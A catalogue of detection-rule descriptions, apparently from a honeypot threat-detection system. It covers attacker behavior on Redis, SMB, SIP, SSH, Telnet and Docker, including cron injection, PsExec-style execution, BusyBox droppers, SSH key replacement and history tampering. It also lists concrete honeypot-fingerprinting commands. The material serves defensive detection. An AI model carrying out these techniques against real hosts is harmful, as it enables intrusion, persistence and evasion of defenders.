redis — critical — Detects Redis configuration abuse where an exposed instance is reconfigured to write cron entries that execute remote payloads via curl or wget/variant binaries (including root-executed variants), followed by SAVE to persist the malicious cron file to disk. Covers multiple backup job names and pipe-to-shell download techniques used for automated persistence and recurring remote code execution.
redis — high — Identifies a full Redis exploitation sequence where the attacker performs configuration introspection, modifies persistence parameters (CONFIG SET dir, CONFIG SET dbfilename), optionally disables write protections (stop-writes-on-bgsave-error), flushes existing data, implants a cron-formatted payload (base64 or Python dropper variant), and triggers SAVE to write the malicious cron file to disk. This tightly coupled chain reflects automated exploitation of exposed Redis services to achieve host-level persistence via cron injection. The behavior indicates deliberate filesystem redirection and scheduled command execution establishment, commonly observed in botnet propagation and cryptomining campaigns targeting unauthenticated Redis instances.
redis — critical — Identifies a complete Redis exploitation workflow where an attacker performs configuration introspection, modifies snapshot directory and filename parameters (CONFIG SET dir, CONFIG SET dbfilename), targets system cron directories (e.g., /etc/cron.d, /etc, crontabs), implants scheduled execution payloads (HTTP pipe-to-shell, wget, root cron variants, or obfuscated droppers), and triggers SAVE to write the malicious cron file to disk. This tightly coupled sequence reflects automated host-level persistence establishment via cron injection through misconfigured or unauthenticated Redis services. The behavior captures filesystem redirection, scheduled execution staging, and persistence activation in a single deterministic chain, strongly associated with botnet propagation and cryptomining campaigns.
redis — info — Identifies execution of the Redis INFO command (case-insensitive), which retrieves server configuration, version, memory usage, and runtime statistics. This behavior reflects service interrogation and environment fingerprinting activity. While INFO can be used legitimately by administrators, it is also commonly observed during automated scanning and pre-exploitation reconnaissance of exposed Redis instances.
redis — critical — A Redis exploitation sequence where the attacker configures replication to a remote host using SLAVEOF, writes a malicious module (exp.so) via manipulated Redis configuration (dir, dbfilename, compression), loads the module to gain system.exec command execution, downloads and executes payload binaries from a remote server, and performs cleanup by removing artifacts and unloading the module.
redis — critical — Identifies structured extraction of high-value application configuration and credential material from a Redis datastore. The behavior includes keyspace enumeration, targeted TYPE inspection across configuration namespaces (cloud, database, encryption, JWT, mail, payment, VCS), and direct GET/HGETALL retrieval of secrets, API keys, feature flags, internal URLs, and user cache objects. This tightly grouped pattern reflects deliberate application-layer reconnaissance and credential harvesting following access to a Redis instance, indicating high-confidence data exposure and likely compromise of associated services.
redis — medium — Identifies coordinated Redis service reconnaissance consisting of INFO retrieval, CLIENT LIST enumeration of connected peers, and incremental keyspace iteration via SCAN. This tightly grouped pattern reflects automated or manual post-access mapping of server configuration, active clients, and stored keyspace structure. The sequence indicates structured environment profiling prior to potential data extraction or exploitation.
smb — high — Sequential SMB session opening IPC$, accessing the svcctl pipe, issuing an RPC call, then opening the RemCom_communicaton pipe. Indicates remote service-based command execution.
rtsp — medium — RTSP OPTIONS request containing embedded credentials in the URI (for example admin:password@host). Unlike standard discovery probes, this indicates an automated attempt to enumerate camera or media endpoints while testing known or default credentials. This pattern is commonly associated with IoT botnets and opportunistic scanners targeting exposed RTSP services rather than passive measurement traffic.
rtsp — medium — RTSP DESCRIBE request targeting /Streaming/Channels/101, a default IP camera stream path commonly used in automated scanning and unauthorized access attempts to enumerate or access live video streams.
rtsp — medium — RTSP OPTIONS request targeting /multicast/profile2/media.smp, indicating capability probing of a multicast camera stream endpoint commonly associated with IP camera profiles and observed in automated scanning activity.
rtsp — low — Client sends RTSP OPTIONS requests to check supported methods and confirm that an RTSP service is exposed, then disconnects without attempting authentication or stream setup. This pattern is typically associated with automated reconnaissance or internet-wide scanning rather than active stream access.
rtsp — medium — Client performs a full RTSP interaction sequence — OPTIONS, DESCRIBE, SETUP, and PLAY — indicating an attempt to initialize and access a media stream. This pattern reflects active interaction with a streaming service rather than simple probing, and is commonly seen when automated tools or unauthorized clients try to view exposed camera or RTSP feeds.
rtsp — medium — Client performs a full RTSP interaction sequence — OPTIONS, DESCRIBE, SETUP, and PLAY — indicating an attempt to initialize and access a media stream. This pattern reflects active interaction with a streaming service rather than simple probing, and is commonly seen when automated tools or unauthorized clients try to view exposed camera or RTSP feeds.
rtsp — low — Client requests RTSP OPTIONS followed by DESCRIBE to query supported methods and retrieve stream metadata, but does not proceed to session setup or playback. This pattern is commonly associated with automated scanning or reconnaissance activity checking for exposed cameras or media services.
ssh — medium — Identifies the use of SCP in quiet mode (-q) with “to” mode (-t), indicating the remote system is receiving a file. This pattern is commonly associated with post-authentication payload delivery, lateral movement staging, or tool transfer to a compromised host.
sip — medium — Represents automated SIP reconnaissance activity characterized by multiple unauthenticated SIP methods (such as REGISTER and INVITE) issued using bot-like Call-ID formats. This behavior indicates an attempt to enumerate valid SIP users, extensions, or call routing behavior by systematically probing a SIP service without establishing legitimate registration or dialog context. The use of a numeric-only, hyphen-delimited Call-ID format across different SIP methods strongly suggests an automated scanner or fraud bot rather than a legitimate user agent.
sip — medium — Represents an automated SIP INVITE request likely generated by a scanner or bot rather than a legitimate user agent. The behavior is inferred from a combination of a numeric-only SIP Call-ID format and a direct INVITE to a long numeric target without prior registration or dialog context. This pattern is commonly associated with SIP service probing, extension discovery, or early-stage toll-fraud reconnaissance. This behavior indicates reconnaissance activity against a SIP service but does not, by itself, confirm successful call setup or financial abuse.
sip — high — SIP activity where Call-ID values exhibit high entropy and fixed 32-character hexadecimal format, indicating automated generation typically associated with scanning tools, fuzzing frameworks, or SIP enumeration activity.
sip — medium — SIP activity where the Call-ID follows a token@IP format, a pattern commonly generated by automated scanners and SIP tooling rather than standard client implementations, indicating non-human or enumeration-driven behavior.
sip — medium — Automated SIP INVITE requests initiating direct call setup toward a numeric extension, indicating scripted VoIP interaction rather than passive capability probing. The client attempts to establish a call session (e.g., extension-to-extension dialing such as 100 → 100) using high-entropy Call-ID values, a pattern frequently associated with automated dialers, toll-fraud reconnaissance, or PBX abuse tooling. These interactions validate whether the endpoint accepts call initiation and may precede brute-force registration attempts, relay abuse, or fraudulent outbound call campaigns.
sip — medium — Identifies SIP scanning or probing activity where an attacker sends INVITE requests directly to a target IP address using randomly generated Call-ID tokens. This pattern is commonly associated with VoIP reconnaissance, SIP endpoint discovery, and automated dialer or PBX attack tooling attempting to enumerate reachable SIP services.
sip — low — Automated SIP OPTIONS requests used to validate reachable VoIP endpoints and enumerate service capabilities without initiating a call session. The client sends standalone OPTIONS probes with high-entropy or unusually long Call-ID values, a pattern commonly associated with scripted scanning frameworks or VoIP reconnaissance tooling. Such activity is typically observed during infrastructure discovery phases where attackers identify responsive SIP servers, supported methods, and potential targets for toll fraud, brute-force registration attempts, or later exploitation campaigns.
sip — low — Represents a SIP REGISTER request issued using a timestamp-based Call-ID with a placeholder local domain (e.g. <epoch_ms>-<id>@local). This Call-ID generation pattern is characteristic of custom or automated SIP tooling rather than standard user agents, and indicates a deliberate registration probe to test authentication handling or service availability. The behavior reflects reconnaissance activity using non-standard Call-ID construction rather than legitimate client registration.
sip — medium — SIP request using sip:nm as the Request-URI, a malformed or placeholder target commonly observed in SIP scanning and fuzzing activity rather than legitimate client behavior.
sip — medium — Represents an unauthenticated SIP INVITE request using a non-standard long numeric Call-ID that is accepted for processing by the SIP server, as indicated by a 100 Trying response. This behavior suggests an automated or custom SIP client testing call handling or routing logic rather than a legitimate user agent. The combination of a bot-like Call-ID format and successful INVITE processing indicates elevated reconnaissance or early-stage abuse of call routing, even in the absence of call establishment.
sip — medium — Represents an unsolicited SIP INVITE request targeting a long numeric destination, with the request accepted for processing by the SIP server (100 Trying). While the Call-ID format appears consistent with legitimate SIP implementations, the absence of prior registration and the use of a PSTN-style numeric target indicate probing of call routing or gateway behavior rather than normal call setup. This behavior is commonly observed during early-stage toll-fraud reconnaissance or PBX routing validation.
smb — medium — Composite behavior identifying authenticated SMB activity where a client accesses both IPC$ and data shares, performs root directory reads, and binds to SAMR and SRVSVC RPC interfaces. This sequence is consistent with structured remote enumeration of host configuration, shared resources, and account information, often conducted prior to lateral movement or privilege escalation attempts.
smb — high — Identifies an SMB session where the IPC$ share is accessed and RPC bindings are established to the SAMR and SRVSVC interfaces via named pipes. The combination of IPC$ access, SAMR RPC binding (Security Account Manager Remote), and SRVSVC pipe interaction indicates authenticated enumeration of user accounts, groups, shares, or service information on a Windows host. This behavior reflects structured post-authentication reconnaissance against Windows systems rather than unauthenticated share scanning.
smb — high — Composite behavior identifying authenticated SMB access across administrative (ADMIN$, C$), backup, data, IPC$, and NETLOGON shares, combined with root directory reads, SAMR and SRVSVC RPC binding, and creation or overwrite of a delete.me file. This sequence is consistent with structured domain-level host and share reconnaissance followed by write-permission validation, commonly observed in automated post-authentication discovery and lateral movement tooling.
smb — medium — Authenticated SMB session using WORKGROUP\GUEST that accesses the DATA share and sequentially opens multiple business-named directories (Financials, HR, IT, Projects, Marketing, Legal, Public, and related subfolders) with repeated root directory queries, consistent with structured directory discovery activity.
smb — medium — Detects authenticated access to the IPC$ administrative share over SMB. This behavior indicates remote interaction with Windows inter-process communication mechanisms and is commonly observed during lateral movement, service enumeration, or preparation for remote command execution.
smb — high — Session containing IPC$ share access, NETLOGON share access, root directory read, SAMR RPC bind, and SRVSVC pipe open with subsequent RPC bind. Represents this specific chained SMB RPC interaction pattern within a single session.
smb — critical — Identifies PsExec/RemCom-style remote command execution over SMB, involving IPC$ share access, service control manager pipe interaction (svcctl), and communication via the RemCom named pipe. This behavior reflects authenticated lateral movement and remote process execution through Windows administrative shares.
smb — high — SMB session accessing a RemCom_stdout* named pipe following IPC$ share access, indicating interaction with a RemCom-style remote command execution channel.
smb — medium — Composite behavior identifying authenticated SMB interaction where a client accesses the IPC$ share, performs root directory reads, binds to the SAMR RPC interface, and interacts with the SRVSVC service pipe. This sequence is consistent with remote host and account enumeration activity over SMB, typically used to gather domain, user, and share information prior to lateral movement or privilege escalation attempts.
smb — high — Composite behavior identifying authenticated SMB access to IPC$ and data shares followed by a file overwrite operation creating MyWallet.exe. The sequence indicates remote delivery and staging of a Windows executable over SMB, consistent with lateral movement or payload deployment activity using administrative share access.
smb — critical — Composite behavior indicating remote lateral movement over SMB followed by service-based execution of a staged payload delivered through mshta invoking msiexec from remote infrastructure. The sequence combines IPC$ share access, SAMR and SVCCTL RPC binding, service control pipe interaction, and remote command execution consistent with administrative service creation or modification to execute a downloaded installer. This pattern is strongly associated with hands-on-keyboard intrusion activity and automated lateral propagation frameworks leveraging Windows service execution for payload deployment.
smb — medium — Composite behavior identifying authenticated SMB access to IPC$ and data shares followed by creation of a structured temporary directory matching the test_zorg_test_*_*.tmp naming pattern, along with auxiliary RPC interaction. This sequence is consistent with automated tooling preparing a staging directory on a remote host prior to file transfer or execution.
smb — medium — Sequential SMB interaction with the samr interface involving share access, file creation, RPC bind, and multiple SAMR RPC operations within a single session.
smb — medium — Enumerates SMB shares (IPC$, backup, root), performs RPC interaction, reads from the root share, and writes a .test_write_<timestamp>.tmp file to verify write permissions. This sequence indicates automated validation of accessible SMB shares prior to further activity.
smb — medium — SMB session using srvsvc NetShareEnumAll followed by repeated connection and directory listing of the DATA share.
smb — high — SMB session performing multi-share access and DCERPC binding (srvsvc, svcctl, samr), followed by Service Control Manager interaction via OpenSCManagerW and svcctl:op14, including named pipe usage and writes of specific filenames (DohNGLliaI, XCwhfpBZlq.txt). This exact sequence reflects automated service control probing over SMB.
smb — medium — Composite behavior identifying SMB access to the IPC$ share followed by opening of the SVCCTL named pipe. This pattern indicates interaction with the Windows Service Control Manager over SMB and is commonly observed during remote service enumeration, service manipulation, or preparation for remote service-based execution.
smtp — info — SMTP interaction identified as an internet-wide scanning probe originating from Censys infrastructure. The client announces itself via EHLO www.censys.io and issues a STARTTLS request to verify TLS upgrade support and collect service capability metadata. This pattern reflects automated reconnaissance and exposure mapping rather than direct exploitation, but still represents active external probing of the SMTP service.
smtp — high — Automated SMTP interaction sequence consistent with open-relay validation or spam delivery testing. The client performs a full transaction flow (EHLO → RSET → MAIL FROM → RCPT TO → DATA → QUIT) and submits a minimal test message containing known probe markers such as t_Smtp.LocalIP. This pattern indicates scripted activity attempting to confirm whether the server allows unauthenticated message relaying or outbound mail submission. Such behavior is commonly observed from spam bot infrastructure validating targets before larger abuse campaigns.
smtp — high — Automated SMTP interaction sequence consistent with open-relay validation or spam delivery testing. The client performs a full transaction flow (EHLO → RSET → MAIL FROM → RCPT TO → DATA → QUIT) and submits a minimal test message containing known probe markers such as t_Smtp.LocalIP. This pattern indicates scripted activity attempting to confirm whether the server allows unauthenticated message relaying or outbound mail submission. Such behavior is commonly observed from spam bot infrastructure validating targets before larger abuse campaigns.
smtp — info — Automated SMTP interaction performing a minimal capability check by issuing EHLO followed by a STARTTLS upgrade request and immediately terminating the session. This pattern is commonly associated with internet-wide scanners, security research crawlers, or opportunistic bots verifying whether an SMTP service supports encrypted communication. The absence of authentication attempts or message submission indicates reconnaissance or service fingerprinting rather than active abuse.
smb — medium — SMB session opening IPC$, accessing and binding to the srvsvc pipe, then reading the root directory. Enumerates available shares without further traversal.
ssh — critical — Removal of filesystem attribute protections from the user’s .ssh directory followed by deletion and recreation of the directory and insertion of a new public key into authorized_keys. This pattern reflects deliberate modification of SSH trust configuration to establish persistent key-based access.
ssh — critical — Identifies an SSH session performing comprehensive automated host reconnaissance (CPU, memory, disk, processes, users), followed by credential modification and SSH key manipulation consistent with scripted post-compromise takeover and persistence establishment.
ssh — high — Identifies SSH sessions where an actor decodes a base64-encoded payload, writes it to a hidden file (commonly in /tmp or /var), and validates its presence. This pattern indicates post-compromise payload staging prior to execution or persistence.
ssh — high — Identifies an SSH session performing broad system, network, identity, filesystem, and service enumeration in a single execution sequence. The behavior combines environment fingerprinting (kernel, CPU, uptime), user and credential surface inspection (/etc/passwd, /etc/shadow, history), network topology discovery (interfaces, routes, listening ports), process and service inventory, writable directory validation, and connectivity testing. This pattern reflects automated post-compromise host profiling used by botnets, cryptominers, and lateral-movement frameworks to determine system suitability and operational value.
ssh — high — Post-authentication SSH activity performing structured host viability assessment. The session probes credential files (/etc/passwd, /etc/shadow), enumerates root and mounted filesystems, inspects running services and processes, snapshots listening ports, resolves command availability, and performs temporary file write/delete testing. The pattern indicates automated evaluation of a compromised Linux system to determine privilege level, credential exposure, persistence opportunities, and suitability for payload deployment.
ssh — medium — Post-access host reconnaissance performed over SSH to evaluate system capabilities and confirm shell privilege context. The activity fingerprints the operating system and kernel, determines CPU architecture and core count, checks for GPU presence, enumerates interactive users, extracts network routing information, validates the hosting organization via external IP lookup, and confirms the current execution identity. This pattern is commonly observed after initial access when attackers assess whether the compromised host is suitable for compute-intensive workloads, lateral movement, or payload deployment.
ssh — high — Comprehensive SSH-based environment profiling sequence combining system enumeration, credential file inspection, network topology discovery, service/process inspection, filesystem validation, and explicit honeypot artifact detection to determine host authenticity and defensive visibility before further action.
ssh — high — Comprehensive post-authentication SSH reconnaissance behavior where an actor performs broad system, network, and environment enumeration in a single session. This includes kernel and OS fingerprinting, CPU and memory inspection, network interface and routing discovery, open port enumeration, process listing, credential file probing, service enumeration, and temporary file write/delete testing. The pattern indicates automated host profiling for capability assessment and potential lateral movement preparation.
ssh — high — Aggregated SSH session behavior that performs broad, automated host fingerprinting across system identity, hardware characteristics, kernel details, filesystem structure, network configuration, listening services, running processes, user context, and credential file presence. The primitive set indicates a scripted reconnaissance routine designed to build a complete operational profile of the compromised host prior to follow-on actions such as payload selection, privilege escalation, lateral movement, or cryptomining deployment. This is not casual manual exploration; the breadth and sequencing strongly suggest automation.
ssh — high — Identifies SSH post-auth activity combining resilient multi-source CPU enumeration (explicit /usr/bin/nproc fallback) with removal of the immutable flag from ~/.shellrc via chattr, indicating host profiling followed by shell configuration tampering for persistence preparation.
ssh — medium — Attempts to remove filesystem attribute protections (e.g., immutable flags via chattr -i/-a) from the user’s ~/.ssh directory. This pattern indicates preparatory activity to modify SSH trust configuration, commonly preceding insertion or replacement of authorized_keys for persistence.
ssh — medium — Comprehensive post-access host reconnaissance over SSH focused on system fingerprinting and GPU capability validation. The activity enumerates OS and kernel details, CPU model and core count, uptime, interactive users, routing information, and performs conditional GPU detection via lspci or nvidia-smi. It also validates binary availability (e.g., kill) and performs external IP organization lookups. This pattern is consistent with operators assessing compute capacity (including GPU suitability), system stability, and execution environment before payload deployment such as cryptomining, AI workload abuse, or resource-intensive tooling.
ssh — critical — Execution of a multi-command host fingerprinting script that collects kernel details, architecture, uptime, CPU count and model, GPU information, login history, and binary help characteristics, combined with chattr -i $HOME/.bashrc $HOME/.zshrc 2>/dev/null || true to remove the immutable attribute from user shell initialization files in the current user’s home directory.
ssh — medium — Execution of uname -s -v -n -r -m to collect kernel and architecture details, uptime -p for human-readable system uptime, and lspci queries to extract VGA-class PCI device descriptions and count the number of VGA devices. This pattern reflects PCI-level GPU identification combined with basic host system metadata collection.
ssh — medium — Execution of uname -s -v -n -r -m to retrieve kernel and architecture details, uptime -p for human-readable system uptime, and lspci | grep VGA | cut -f5- -d ' ' to extract VGA-class PCI device information. This pattern reflects lightweight host profiling combined with basic GPU identification.
ssh — critical — Identifies an SSH session performing multi-method system profiling (CPU model extraction, memory and disk inspection, active user/process monitoring), followed by SSH key replacement and password update indicative of interactive access validation and consolidation rather than single-shot automated takeover.
ssh — low — Identifies SSH session activity where the attacker executes uname -s to retrieve the operating system name for basic host fingerprinting.
ssh — medium — Identifies SSH sessions where the actor performs structured hardware reconnaissance including CPU core enumeration, GPU detection via nvidia-smi, VGA/3D controller inspection via lspci, system uptime queries, and kernel/architecture fingerprinting to assess computational capabilities of the compromised host.
ssh — high — Identifies structured post-authentication SSH activity consistent with automated host qualification and capability assessment. The session performs broad system enumeration including kernel and version queries, CPU and process inspection, network configuration and listening service discovery, service inventory via systemctl, credential file probing (/etc/passwd, /etc/shadow), hostname retrieval (command and file read), root and filesystem inspection, connectivity validation via ping, temporary file creation and cleanup, and command resolution checks to evaluate system suitability for further exploitation or staging.
ssh — high — Identifies structured post-authentication SSH activity consistent with automated environment profiling. The session performs comprehensive host enumeration including operating system and kernel queries, CPU and process inspection, network configuration and listening service discovery, credential file probing, service inventory via systemctl, connectivity validation via ping, temporary file creation and removal, and filesystem inspection to assess system capabilities and exploitation potential.
ssh — high — Identifies structured post-authentication SSH activity consistent with automated host profiling. The session executes a broad enumeration sequence including system versioning, CPU details, network configuration, listening services, process snapshots, identity context, environment variables, filesystem inspection, and credential file probing to fingerprint the host and assess exploitation potential.
ssh — high — Automated SSH session performing a structured full-system census following successful authentication. The activity enumerates kernel, hardware, memory, environment variables, network topology, listening services, running processes, mounted filesystems, and root directories while probing /etc/passwd and /etc/shadow, validating command availability, and performing temporary file write/delete tests. The pattern indicates scripted post-compromise host inventory and credential surface validation prior to persistence or payload deployment.
ssh — critical — SSH session performing remote script retrieval via wget or curl followed by immediate execution. The pattern reflects automated payload staging and execution on a compromised host, commonly used by botnets and post-exploitation frameworks to deploy malware, miners, loaders, or secondary implants.
ssh — high — SSH post-auth sequence running RouterOS cloud/DDNS commands, Telegram data path checks, GSM/SMS artifact searches, and miner process lookups (`ps | grep miner`), preceded by basic system enumeration.
ssh — high — Identifies an SSH session where the actor manipulates shell environment variables (such as HISTFILE, HISTSIZE, HISTCONTROL, or related variables) and reloads or reinitializes shell history in order to suppress, overwrite, or control command logging. The combination of explicitly setting environment variables and triggering a history reload indicates deliberate command history tampering rather than normal shell usage.
ssh — low — Identifies SSH sessions where the actor executes uname -s -v -n -r -m to retrieve detailed kernel, hostname, architecture, and OS version information for environment profiling and post-access decision making.
ssh — medium — Identifies SSH session activity where the attacker executes uname -s -m to retrieve the operating system name and machine architecture for host fingerprinting and payload targeting.
smb — critical — SMB session creating and binding to the svcctl pipe, opening the Service Control Manager via OpenSCManagerW, creating a service with an mshta.exe VBScript payload, starting it via StartServiceW, then deleting it via DeleteService.
telnet — high — Identifies a multi-step BusyBox-based propagation sequence over Telnet involving binary inspection, CPU architecture reconnaissance, forced file removal, binary replication, permission modification, output redirection, and shell execution. This pattern is characteristic of IoT botnet deployment workflows that copy BusyBox or payload binaries, modify permissions, and execute them.
telnet — high — Identifies post-authentication Telnet activity where BusyBox is used to stage a payload via echo redirection into a file, followed by multi-path shell execution (sh/system/linuxshell). Includes supporting commands such as directory navigation, network probing (ping), and firewall manipulation (iptables flush). Represents a scripted dropper-style execution workflow commonly used in automated botnet propagation and remote compromise.
telnet — high — Structured BusyBox-driven payload deployment over Telnet. The operator reconstructs a binary or script via hex-encoded echo writes (including no-newline variants), stores it in hidden paths across common writable directories (/tmp, /dev/shm, /var, /mnt, etc.), optionally retrieves additional components via wget, executes the payload through shell/system/start invocation, and performs cleanup via recursive deletion. Includes device shell escape attempts and potential privilege escalation via su. This represents automated botnet loader activity rather than interactive administration.
telnet — critical — Automated Telnet-based compromise sequence involving CLI escalation, transition into shell access, multi-directory writable path probing (/var, /tmp, /dev, /mnt, /dev/shm, /usr), reconstruction of a binary payload using BusyBox hex-encoded echo commands (with and without newline suppression), retrieval of remote content via wget, execution attempt through a randomly named BusyBox applet, and forced recursive cleanup (rm -rf). The inclusion of an unknown BusyBox applet invocation strongly indicates execution of a staged or randomly named payload rather than standard utility usage. The overall sequence is characteristic of scripted IoT/Linux bot propagation frameworks performing automated deployment.
telnet — critical — Identifies a Telnet session where BusyBox is used to construct a binary payload via echo redirection into a writable hidden file, followed by shell activation (sh, shell, system, linuxshell, enable), directory manipulation, and execution of the staged file. The combination of binary invocation, file creation through BusyBox redirection, hidden file usage, shell breakout, and connectivity validation (ping) indicates active payload staging and execution rather than simple reconnaissance. This pattern is strongly associated with embedded Linux and IoT malware deployment workflows.
telnet — high — Identifies a Telnet session where an attacker leverages BusyBox utilities to retrieve a remote payload using one or more file transfer mechanisms (e.g., wget, curl, ftpget, or tftp) followed by execution of the downloaded script via sh. This pattern is consistent with IoT botnet propagation and automated malware deployment.
telnet — high — Identifies post-authentication Telnet activity where an attacker leverages BusyBox to create a payload via echo redirection, enables shell execution, runs commands (sh/system/linuxshell), performs network actions (ping), modifies firewall rules (iptables flush), and removes artifacts via recursive hidden cleanup. Represents full payload staging, execution, and anti-forensics sequence typical of botnet propagation or remote access deployment.
telnet — high — Identifies a Telnet session where BusyBox is leveraged to activate or access a shell environment (sh, shell, system, linuxshell, enable) followed by command capability validation (ping). This pattern reflects deliberate shell breakout and execution-context validation commonly observed in IoT botnets and embedded Linux compromise workflows. The presence of multiple shell invocation variants combined with BusyBox applet usage indicates adaptive execution logic rather than incidental command usage.
telnet — medium — Telnet-based shell activity where the actor enumerates process execution context via cat /proc/self/cmdline (or equivalent) and performs directory navigation using cd. This pattern reflects post-access discovery behavior, where the session is inspecting runtime parameters and exploring filesystem layout to understand the execution environment before staging or executing additional actions. The combination indicates environmental reconnaissance rather than immediate payload deployment.
telnet — high — Telnet session exhibiting privilege escalation and shell breakout attempts (enable, system, linuxshell, shell, sh) followed by execution of /bin/busybox with a non-standard or arbitrary applet name. The combination indicates an automated attempt to escape restricted CLI environments and execute a staged or randomly named payload via BusyBox. This pattern is characteristic of IoT/Linux bot deployment frameworks leveraging BusyBox as a universal execution wrapper.
telnet — high — Telnet session exhibiting privilege escalation and shell breakout commands (enable, system, shell, sh) followed by execution of /bin/busybox with a non-standard or arbitrary applet name. The sequence indicates an attempt to escape restricted CLI environments and execute a staged or randomly named payload via BusyBox. The presence of an unknown BusyBox applet strongly suggests automated bot deployment logic rather than legitimate administrative activity.
http — medium — Automated authentication attempt against a WordPress login endpoint using the common default username admin and weak password pattern. Indicative of credential stuffing or default password brute-force activity targeting internet-exposed WordPress installations.
http — low — HTTP request sequence attempting to access the WordPress setup configuration endpoint (/wp-admin/setup-config.php) followed by a login request containing a redirect parameter to the same setup path. The pattern reflects automated probing for exposed or uninitialized WordPress installations.
http — medium — Identifies HTTP sessions where WordPress authentication is attempted through URL-encoded form credential submission. This pattern is commonly associated with automated login probing, credential stuffing frameworks, or scripted reconnaissance against WordPress admin authentication workflows.
http — high — Identifies exploitation attempts targeting the WordPress Smart Manager woo-json.php endpoint where time-delay SQL injection payloads using UNION SELECT SLEEP() are submitted via the edited parameter. This behavior is indicative of automated vulnerability scanning or manual exploitation activity attempting to validate database injection through response timing manipulation.
http — Request to /ai_config.py, indicating access attempt to a Python configuration file that may contain application settings or embedded credentials.
ssh — Execution of test -f /var/log/artillery/alerts && echo FOUND to verify the presence of Artillery’s default alerts log file and emit a marker string if found. This pattern reflects targeted detection of an Artillery honeypot deployment by checking for its standard alerting log artifact prior to continued attacker interaction.
ssh — Execution of ls -d /var/artillery /opt/beelzebub /opt/glutton /opt/endlessh 2>/dev/null | wc -l to test for the presence of default Artillery, Beelzebub, Glutton, or Endlessh installation directories and return a numeric count of matches. The use of wc -l suggests the output is being programmatically evaluated, indicating automated honeypot or deception-service detection prior to continued interaction.
ssh — Execution of find /opt /etc -maxdepth 2 -name 'beelzebub.yaml' -o -name 'glutton.yaml' -o -name 'opencanary.conf' 2>/dev/null | wc -l to search common system paths for Beelzebub, Glutton, or OpenCanary configuration files and return a numeric count of matches. The limited search depth and use of wc -l indicate automated deception-environment fingerprinting to confirm specific honeypot frameworks before continuing attacker activity.
ssh — Execution of test -f /opt/beelzebub/beelzebub.yaml && echo FOUND to verify the presence of the default Beelzebub configuration file and emit a marker string if found. This pattern reflects targeted detection of a Beelzebub honeypot deployment prior to further attacker interaction.
ssh — Execution of test -f /opt/cowrie/etc/cowrie.cfg && echo 1 || echo 0 to verify the presence of Cowrie’s configuration file within its default /opt/cowrie/etc/ path and return a boolean-style numeric indicator. The conditional echo 1 || echo 0 suggests automated evaluation of the result, reflecting targeted detection of a Cowrie honeypot deployment prior to continued attacker interaction.
ssh — Execution of test -f /opt/cowrie/share/cowrie/fs.pickle && echo 1 || echo 0 to verify the presence of Cowrie’s fs.pickle filesystem snapshot file and return a boolean-style numeric indicator. The conditional output suggests automated evaluation of the result, reflecting targeted detection of a Cowrie honeypot deployment prior to continued attacker interaction.
ssh — Execution of test -f /opt/cowrie/share/cowrie/fs.pickle && echo FOUND to check for the existence of Cowrie’s fs.pickle filesystem snapshot file and conditionally print a marker string if present. This pattern reflects targeted honeypot fingerprinting intended to confirm a Cowrie deployment before proceeding with further interaction.
ssh — Execution of test -d /opt/cowrie/honeyfs && echo 1 || echo 0 to verify the existence of Cowrie’s honeyfs directory and return a boolean-style numeric indicator. The conditional echo 1 || echo 0 suggests programmatic evaluation of the result, reflecting automated detection of a Cowrie honeypot filesystem structure prior to continued attacker interaction.
ssh — Execution of test -d /opt/cowrie/honeyfs/etc && echo FOUND to verify the existence of Cowrie’s honeyfs/etc directory and emit a marker string if present. This pattern reflects targeted detection of a Cowrie honeypot filesystem layout prior to continued attacker interaction.
ssh — Execution of test -f /opt/cowrie/var/log/cowrie.json && echo FOUND to verify the presence of Cowrie’s JSON log output file and emit a marker string if found. This pattern reflects targeted detection of a Cowrie honeypot deployment by checking for structured runtime log artifacts prior to continued attacker interaction.
ssh — Execution of find /opt /home /etc -maxdepth 2 -name 'cowrie.cfg' -o -name 'kippo.cfg' 2>/dev/null | wc -l to search common installation paths for Cowrie or Kippo configuration files and return a numeric count of matches. The constrained depth and use of wc -l indicate automated honeypot fingerprinting intended to confirm the presence of specific deception frameworks before proceeding with further activity.
ssh — Execution of ls -d /opt/cowrie /home/cowrie /opt/kippo /home/kippo 2>/dev/null | wc -l to test for the existence of default Cowrie and Kippo honeypot installation paths and return a numeric count of matches. The use of wc -l indicates the result is being programmatically evaluated, suggesting automated honeypot detection prior to further attacker interaction.
ssh — Execution of test -d /opt/cowrie/var/log && echo FOUND to verify the existence of Cowrie’s default log directory and emit a marker string if present. This pattern reflects targeted detection of a Cowrie honeypot deployment by checking for its standard runtime log directory structure prior to continued attacker activity.
ssh — Execution of test -f /opt/cowrie/var/log/cowrie.log && echo FOUND to verify the presence of Cowrie’s default log file and emit a marker string if found. This pattern reflects targeted detection of a Cowrie honeypot deployment by checking for its runtime log artifacts prior to continued attacker activity.
ssh — Execution of /opt/cowrie/.venv/bin/python -c 'import twisted.conch' 2>/dev/null && echo FOUND to invoke Cowrie’s embedded virtual environment Python interpreter and attempt to import the twisted.conch module, conditionally printing a marker string if successful. This pattern reflects targeted detection of a Cowrie honeypot deployment by validating the presence of its underlying Twisted Conch SSH framework within the default virtual environment.
ssh — Execution of id cowrie 2>/dev/null | grep -c uid to determine whether a local user account named “cowrie” exists by checking for a returned UID field and counting matches. The use of grep -c suggests programmatic evaluation of the result, reflecting targeted detection of a Cowrie honeypot deployment via user account enumeration prior to continued attacker activity.
ssh — Execution of test -d /opt/cowrie/.venv && echo 1 || echo 0 to verify the existence of Cowrie’s embedded Python virtual environment directory and return a boolean-style numeric indicator. The conditional output suggests automated evaluation of the result, reflecting targeted detection of a Cowrie honeypot deployment prior to continued attacker interaction.
ssh — Execution of test -f /opt/cowrie/.venv/bin/python && echo FOUND to verify the presence of Cowrie’s embedded virtual environment Python interpreter and emit a marker string if found. This pattern reflects targeted detection of a Cowrie honeypot deployment by checking for its default virtualenv structure prior to continued attacker activity
ssh — Execution of df -h / 2>/dev/null | tail -1 to retrieve human-readable disk usage statistics for the root filesystem and extract the final output line. The use of tail -1 suggests programmatic parsing of capacity and usage values, reflecting host storage profiling or sandbox realism assessment following shell access.
docker — Docker API container create payload with Cmd executing chroot /mnt /bin/sh, decoding base64 data, extracting files to /usr/bin, and writing cron entries to /etc/crontab and /etc/cron.d/.
docker — Performs a lightweight liveness check against the Docker Remote API to verify that the daemon is reachable and responsive. Commonly used as an initial validation step before issuing version queries, container enumeration, or container creation requests.
docker — Queries the Docker Remote API version endpoint to identify the daemon version, API compatibility level, build metadata, and runtime platform details. Commonly used as an initial unauthenticated probe to confirm Docker API exposure and assess exploit compatibility prior to container creation or host breakout attempts.
